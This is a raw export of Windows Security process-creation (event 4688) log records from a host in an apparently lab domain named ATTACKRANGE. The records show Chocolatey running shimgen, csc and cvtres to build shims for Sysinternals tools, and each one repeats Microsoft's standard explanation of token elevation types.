Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246366
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xddc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\autorunsc.exe" --output="C:\ProgramData\chocolatey\bin\autorunsc.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\autorunsc.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246365
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe84
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x538
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB531.tmp" "c:\ProgramData\chocolatey\bin\CSC57E636F3DEF34C339761F8CC5D8338EE.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246364
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x538
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x538
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autoruns64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_0523\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246407
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc0c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x384
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246406
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x384
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Contig64.exe" --output="C:\ProgramData\chocolatey\bin\Contig64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Contig64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246405
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBC27.tmp" "c:\ProgramData\chocolatey\bin\CSCCD3F0B84CD140BBAFE655C133FBE63.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246404
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246403
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Contig.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_8179\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246402
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa68
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246401
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa68
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Contig.exe" --output="C:\ProgramData\chocolatey\bin\Contig.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Contig.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246400
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x888
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe5c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBB3C.tmp" "c:\ProgramData\chocolatey\bin\CSC54B278A3542C444A96F63D0DF2FA7C2.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246399
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x990
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe5c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246398
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe5c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf84
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Clockres64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123405_5992\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246397
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf84
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246396
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Clockres64.exe" --output="C:\ProgramData\chocolatey\bin\Clockres64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Clockres64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246395
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESBA62.tmp" "c:\ProgramData\chocolatey\bin\CSC925CA220B9D94C8AA3CF90C52A75B30.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

